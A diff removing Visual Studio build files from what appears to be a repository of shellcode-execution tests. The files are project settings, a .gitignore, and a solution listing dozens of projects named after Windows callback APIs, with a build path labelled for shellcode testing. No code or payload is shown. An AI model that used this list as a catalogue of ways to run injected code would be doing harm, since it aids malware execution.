</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="m.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,22 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="m.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -1,10 +0,0 @@
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>

View File

@ -1,2 +0,0 @@
#v4.0:v100
Debug|x64|J:\window\Quick\辅助工具\shellcode测试使用\|

View File

@ -1,63 +0,0 @@
###############################################################################
# Set default behavior to automatically normalize line endings.
###############################################################################
* text=auto
###############################################################################
# Set default behavior for command prompt diff.
#
# This is need for earlier builds of msysgit that does not have it on by
# default for csharp files.
# Note: This is only used by command line
###############################################################################
#*.cs diff=csharp
###############################################################################
# Set the merge driver for project and solution files
#
# Merging from the command prompt will add diff markers to the files if there
# are conflicts (Merging from VS is not affected by the settings below, in VS
# the diff markers are never inserted). Diff markers may cause the following
# file extensions to fail to load in VS. An alternative would be to treat
# these files as binary and thus will always conflict and require user
# intervention with every merge. To do so, just uncomment the entries below
###############################################################################
#*.sln merge=binary
#*.csproj merge=binary
#*.vbproj merge=binary
#*.vcxproj merge=binary
#*.vcproj merge=binary
#*.dbproj merge=binary
#*.fsproj merge=binary
#*.lsproj merge=binary
#*.wixproj merge=binary
#*.modelproj merge=binary
#*.sqlproj merge=binary
#*.wwaproj merge=binary
###############################################################################
# behavior for image files
#
# image files are treated as binary by default.
###############################################################################
#*.jpg binary
#*.png binary
#*.gif binary
###############################################################################
# diff behavior for common document formats
#
# Convert binary document formats to text before diffing them. This feature
# is only available from the command line. Turn it on by uncommenting the
# entries below.
###############################################################################
#*.doc diff=astextplain
#*.DOC diff=astextplain
#*.docx diff=astextplain
#*.DOCX diff=astextplain
#*.dot diff=astextplain
#*.DOT diff=astextplain
#*.pdf diff=astextplain
#*.PDF diff=astextplain
#*.rtf diff=astextplain
#*.RTF diff=astextplain

View File

@ -1,340 +0,0 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
# User-specific files
*.rsuser
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
[Aa][Rr][Mm]/
[Aa][Rr][Mm]64/
bld/
[Bb]in/
[Oo]bj/
[Ll]og/
# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# Visual Studio 2017 auto generated files
Generated\ Files/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUNIT
*.VisualState.xml
TestResult.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# Benchmark Results
BenchmarkDotNet.Artifacts/
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
# StyleCop
StyleCopReport.xml
# Files built by Visual Studio
*_i.c
*_p.c
*_h.h
*.ilk
*.meta
*.obj
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*_wpftmp.csproj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# Visual Studio Trace Files
*.e2e
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# JustCode is a .NET coding add-in
.JustCode
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# AxoCover is a Code Coverage Tool
.axoCover/*
!.axoCover/settings.json
# Visual Studio code coverage results
*.coverage
*.coveragexml
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# The packages folder can be ignored because of Package Restore
**/[Pp]ackages/*
# except build/, which is used as an MSBuild target.
!**/[Pp]ackages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/[Pp]ackages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
*.appx
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!?*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs
# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
ServiceFabricBackup/
*.rptproj.bak
# SQL Server files
*.mdf
*.ldf
*.ndf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
*.rptproj.rsuser
*- Backup*.rdl
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
.paket/paket.exe
paket-files/
# FAKE - F# Make
.fake/
# JetBrains Rider
.idea/
*.sln.iml
# CodeRush personal settings
.cr/personal
# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc
# Cake - Uncomment if you are using it
# tools/**
# !tools/packages.config
# Tabs Studio
*.tss
# Telerik's JustMock configuration file
*.jmconfig
# BizTalk build output
*.btp.cs
*.btm.cs
*.odx.cs
*.xsd.cs
# OpenCover UI analysis results
OpenCover/
# Azure Stream Analytics local run output
ASALocalRun/
# MSBuild Binary and Structured Log
*.binlog
# NVidia Nsight GPU debugger configuration file
*.nvuser
# MFractors (Xamarin productivity tool) working folder
.mfractor/
# Local History for Visual Studio
.localhistory/
# BeatPulse healthcheck temp database
healthchecksdb

View File

@ -1,471 +0,0 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30907.101
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CreateThreadPoolWait", "CreateThreadPoolWait\CreateThreadPoolWait.vcxproj", "{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CreateTimerQueueTimer_Tech", "CreateTimerQueueTimer_Tech\CreateTimerQueueTimer_Tech.vcxproj", "{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumDesktopW", "EnumDesktopW\EnumDesktopW.vcxproj", "{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumResourceTypesW", "EnumResourceTypesW\EnumResourceTypesW.vcxproj", "{CA6231C1-405A-482E-B59A-35ADCCC15DDD}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CopyFileEx", "CopyFileEx\CopyFileEx.vcxproj", "{C8677CA2-23B4-4148-8298-75DC082DD05C}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumWindows", "EnumWindows\EnumWindows.vcxproj", "{E767D317-98AA-4E0B-BE90-1C19844EFB1B}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumChildWindows", "EnumChildWindows\EnumChildWindows.vcxproj", "{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CopyFile2", "CopyFile2\CopyFile2.vcxproj", "{334B4D7E-2C6E-4BBF-AAC0-879C72344B00}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumPropsEx", "EnumPropsEx\EnumPropsEx.vcxproj", "{72D5287B-D8E2-4A9E-BC15-D4A1E3A3F687}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumDisplayMonitors", "EnumDisplayMonitors\EnumDisplayMonitors.vcxproj", "{0B01514B-EAB9-4E50-82EA-979C89A5C52F}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumDesktopWindows", "EnumDesktopWindows\EnumDesktopWindows.vcxproj", "{03D224C4-D5EE-4DE9-993C-477B1B937AAF}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumPageFilesW", "EnumPageFilesW\EnumPageFilesW.vcxproj", "{A4F42B69-CAFC-4870-B6AA-EA15B6703DE3}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ImageGetDigestStream", "ImageGetDigestStream\ImageGetDigestStream.vcxproj", "{055B882F-D318-4BFC-B7DF-A05B2A628575}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumWindowStationsW", "EnumWindowStationsW\EnumWindowStationsW.vcxproj", "{AA0F0505-21D0-42F0-ADD5-1D928D36D477}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumerateLoadedModules", "EnumerateLoadedModules\EnumerateLoadedModules.vcxproj", "{F6919DF1-E593-4998-89E8-14E7ED01ECAE}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "VerifierEnumerateResource", "VerifierEnumerateResource\VerifierEnumerateResource.vcxproj", "{3EB22637-5913-436C-B6B4-7E90DE2C7069}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CertEnumSystemStore", "CertEnumSystemStore\CertEnumSystemStore.vcxproj", "{FCD8BB2E-81AB-487A-BA1B-D8E5463BDDB7}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CertEnumSystemStoreLocation", "CertEnumSystemStoreLocation\CertEnumSystemStoreLocation.vcxproj", "{AF51FD2C-1D6C-4110-8E1B-F016F2EEAFC7}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SymEnumProcesses", "SymEnumProcesses\SymEnumProcesses.vcxproj", "{9AC492BD-854C-418F-BFDD-7FFB1C6A4059}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumDirTreeW", "EnumDirTreeW\EnumDirTreeW.vcxproj", "{F22C852B-1CAA-4132-BDF3-F7AFAD1D65D2}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SysEnumSourceFiles", "SysEnumSourceFiles\SysEnumSourceFiles.vcxproj", "{0C660DE2-1FAC-4BE7-A1BA-0BA0E96C1562}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SymFindFileInPath", "SymFindFileInPath\SymFindFileInPath.vcxproj", "{81376644-3F09-490E-963E-2266154C188E}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InitOnceExecuteOnce", "InitOnceExecuteOnce\InitOnceExecuteOnce.vcxproj", "{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FiberContextEdit", "FiberContextEdit\FiberContextEdit.vcxproj", "{1E97F40F-E056-4468-94EA-15636B98B5D0}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FlsAlloc", "FlsAlloc\FlsAlloc.vcxproj", "{784E8C7B-CCB3-40CF-8FEF-7D01A563CEE5}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumPropsW", "EnumPropsW\EnumPropsW.vcxproj", "{2253DC4A-3941-4809-A20D-416CA71F799A}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LdrEnumerateLoadedModules", "LdrEnumerateLoadedModules\LdrEnumerateLoadedModules.vcxproj", "{C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumLanguageGroupLocalesW", "EnumLanguageGroupLocalesW\EnumLanguageGroupLocalesW.vcxproj", "{8F7C78F7-1CE5-41F8-BAA7-92B297248DB4}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SetTimer", "SetTimer\SetTimer.vcxproj", "{B014BCB9-7850-4AC7-BD7F-6B07DB77DE35}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SetupCommitFileQueueW", "SetupCommitFileQueueW\SetupCommitFileQueueW.vcxproj", "{86E9BEC1-C77A-449C-9D89-4E1ABA9DFB0F}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumUILanguagesW", "EnumUILanguagesW\EnumUILanguagesW.vcxproj", "{F9EBC138-CEBA-4927-B9C2-AB6B751AB89E}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumSystemLocales", "EnumSystemLocales\EnumSystemLocales.vcxproj", "{C9CDA752-24AF-48CC-9F54-A695A453A929}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumPwrSchemes", "EnumPwrSchemes\EnumPwrSchemes.vcxproj", "{13291D07-600D-44D2-91F8-A1FEF83AB0FD}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumResourceTypesExW", "EnumResourceTypesExW\EnumResourceTypesExW.vcxproj", "{D0AB9F7D-C35D-4E4F-840A-34597B466E1A}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ImmEnumInputContext", "ImmEnumInputContext\ImmEnumInputContext.vcxproj", "{13C7FED8-77A0-4EE3-A431-6E77F22320C3}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumFontsW", "EnumFontsW\EnumFontsW.vcxproj", "{0091D5E9-A212-4C34-857F-0DB13D272AA2}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumFontFamiliesW", "EnumFontFamiliesW\EnumFontFamiliesW.vcxproj", "{383AB5C3-DDA6-49AA-B3AC-4F8A63CC7460}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumFontFamiliesExW", "EnumFontFamiliesExW\EnumFontFamiliesExW.vcxproj", "{F169F79E-D307-4EA9-818D-8C8FF5B7138D}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumObjects", "EnumObjects\EnumObjects.vcxproj", "{D3788A6D-E9D8-44FF-B368-B42BC341C8F5}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CryptEnumOIDInfo", "CryptEnumOIDInfo\CryptEnumOIDInfo.vcxproj", "{D21641FB-1935-4ED9-B511-BC80F00B733F}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumTimeFormatsEx", "EnumTimeFormatsEx\EnumTimeFormatsEx.vcxproj", "{5007CFB3-4072-4B23-9FF9-BDE0B75286F1}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumICMProfiles", "EnumICMProfiles\EnumICMProfiles.vcxproj", "{179D883D-4DC3-4EDB-848B-3FE8C3C5554C}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumThreadWindows", "EnumThreadWindows\EnumThreadWindows.vcxproj", "{4DC52185-7351-4EFA-A364-65945302F470}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumCalendarInfo", "EnumCalendarInfo\EnumCalendarInfo.vcxproj", "{5BDC9F31-D3D7-4CCF-A06E-4C1D59D3AE0F}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumCalendarInfoEx", "EnumCalendarInfoEx\EnumCalendarInfoEx.vcxproj", "{DE7B0D0A-371D-4401-B2A2-A83E891AB90A}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Debug|x64.ActiveCfg = Debug|x64
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Debug|x64.Build.0 = Debug|x64
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Debug|x86.ActiveCfg = Debug|Win32
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Debug|x86.Build.0 = Debug|Win32
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Release|x64.ActiveCfg = Release|x64
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Release|x64.Build.0 = Release|x64
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Release|x86.ActiveCfg = Release|Win32
{7C60D205-1563-4BEC-BB27-1D7C3B58A08F}.Release|x86.Build.0 = Release|Win32
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Debug|x64.ActiveCfg = Debug|x64
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Debug|x64.Build.0 = Debug|x64
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Debug|x86.ActiveCfg = Debug|Win32
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Debug|x86.Build.0 = Debug|Win32
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Release|x64.ActiveCfg = Release|x64
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Release|x64.Build.0 = Release|x64
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Release|x86.ActiveCfg = Release|Win32
{7D1E2EC5-FB57-4148-A6EB-59EEECE4A660}.Release|x86.Build.0 = Release|Win32
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Debug|x64.ActiveCfg = Debug|x64
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Debug|x64.Build.0 = Debug|x64
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Debug|x86.ActiveCfg = Debug|Win32
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Debug|x86.Build.0 = Debug|Win32
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Release|x64.ActiveCfg = Release|x64
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Release|x64.Build.0 = Release|x64
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Release|x86.ActiveCfg = Release|Win32
{CB1843DF-3D4F-4D8D-B3C8-70D1D722E2A9}.Release|x86.Build.0 = Release|Win32
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Debug|x64.ActiveCfg = Debug|x64
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Debug|x64.Build.0 = Debug|x64
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Debug|x86.ActiveCfg = Debug|Win32
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Debug|x86.Build.0 = Debug|Win32
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Release|x64.ActiveCfg = Release|x64
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Release|x64.Build.0 = Release|x64
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Release|x86.ActiveCfg = Release|Win32
{CA6231C1-405A-482E-B59A-35ADCCC15DDD}.Release|x86.Build.0 = Release|Win32
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Debug|x64.ActiveCfg = Debug|x64
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Debug|x64.Build.0 = Debug|x64
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Debug|x86.ActiveCfg = Debug|Win32
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Debug|x86.Build.0 = Debug|Win32
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Release|x64.ActiveCfg = Release|x64
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Release|x64.Build.0 = Release|x64
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Release|x86.ActiveCfg = Release|Win32
{C8677CA2-23B4-4148-8298-75DC082DD05C}.Release|x86.Build.0 = Release|Win32
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Debug|x64.ActiveCfg = Debug|x64
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Debug|x64.Build.0 = Debug|x64
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Debug|x86.ActiveCfg = Debug|Win32
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Debug|x86.Build.0 = Debug|Win32
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Release|x64.ActiveCfg = Release|x64
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Release|x64.Build.0 = Release|x64
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Release|x86.ActiveCfg = Release|Win32
{E767D317-98AA-4E0B-BE90-1C19844EFB1B}.Release|x86.Build.0 = Release|Win32
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Debug|x64.ActiveCfg = Debug|x64
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Debug|x64.Build.0 = Debug|x64
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Debug|x86.ActiveCfg = Debug|Win32
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Debug|x86.Build.0 = Debug|Win32
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Release|x64.ActiveCfg = Release|x64
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Release|x64.Build.0 = Release|x64
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Release|x86.ActiveCfg = Release|Win32
{F7214DDD-57B1-46BA-A54A-876CC7CF7D5E}.Release|x86.Build.0 = Release|Win32
{334B4D7E-2C6E-4BBF-AAC0-879C72344B00}.Debug|x64.ActiveCfg = Debug|x64
{334B4D7E-2C6E-4BBF-AAC0-879C72344B00}.Debug|x64.Build.0 = Debug|x64
{334B4D7E-2C6E-4BBF-AAC0-879C72344B00}.Debug|x86.ActiveCfg = Debug|Win32
{334B4D7E-2C6E-4BBF-AAC0-879C72344B00}.Debug|x86.Build.0 = Debug|Win32
{334B4D7E-2C6E-4BBF-AAC0-879C72344B00}.Release|x64.ActiveCfg = Release|x64
{334B4D7E-2C6E-4BBF-AAC0-879C72344B00}.Release|x64.Build.0 = Release|x64
{334B4D7E-2C6E-4BBF-AAC0-879C72344B00}.Release|x86.ActiveCfg = Release|Win32
{334B4D7E-2C6E-4BBF-AAC0-879C72344B00}.Release|x86.Build.0 = Release|Win32
{72D5287B-D8E2-4A9E-BC15-D4A1E3A3F687}.Debug|x64.ActiveCfg = Debug|x64
{72D5287B-D8E2-4A9E-BC15-D4A1E3A3F687}.Debug|x64.Build.0 = Debug|x64
{72D5287B-D8E2-4A9E-BC15-D4A1E3A3F687}.Debug|x86.ActiveCfg = Debug|Win32
{72D5287B-D8E2-4A9E-BC15-D4A1E3A3F687}.Debug|x86.Build.0 = Debug|Win32
{72D5287B-D8E2-4A9E-BC15-D4A1E3A3F687}.Release|x64.ActiveCfg = Release|x64
{72D5287B-D8E2-4A9E-BC15-D4A1E3A3F687}.Release|x64.Build.0 = Release|x64
{72D5287B-D8E2-4A9E-BC15-D4A1E3A3F687}.Release|x86.ActiveCfg = Release|Win32
{72D5287B-D8E2-4A9E-BC15-D4A1E3A3F687}.Release|x86.Build.0 = Release|Win32
{0B01514B-EAB9-4E50-82EA-979C89A5C52F}.Debug|x64.ActiveCfg = Debug|x64
{0B01514B-EAB9-4E50-82EA-979C89A5C52F}.Debug|x64.Build.0 = Debug|x64
{0B01514B-EAB9-4E50-82EA-979C89A5C52F}.Debug|x86.ActiveCfg = Debug|Win32
{0B01514B-EAB9-4E50-82EA-979C89A5C52F}.Debug|x86.Build.0 = Debug|Win32
{0B01514B-EAB9-4E50-82EA-979C89A5C52F}.Release|x64.ActiveCfg = Release|x64
{0B01514B-EAB9-4E50-82EA-979C89A5C52F}.Release|x64.Build.0 = Release|x64
{0B01514B-EAB9-4E50-82EA-979C89A5C52F}.Release|x86.ActiveCfg = Release|Win32
{0B01514B-EAB9-4E50-82EA-979C89A5C52F}.Release|x86.Build.0 = Release|Win32
{03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Debug|x64.ActiveCfg = Debug|x64
{03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Debug|x64.Build.0 = Debug|x64
{03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Debug|x86.ActiveCfg = Debug|Win32
{03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Debug|x86.Build.0 = Debug|Win32
{03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Release|x64.ActiveCfg = Release|x64
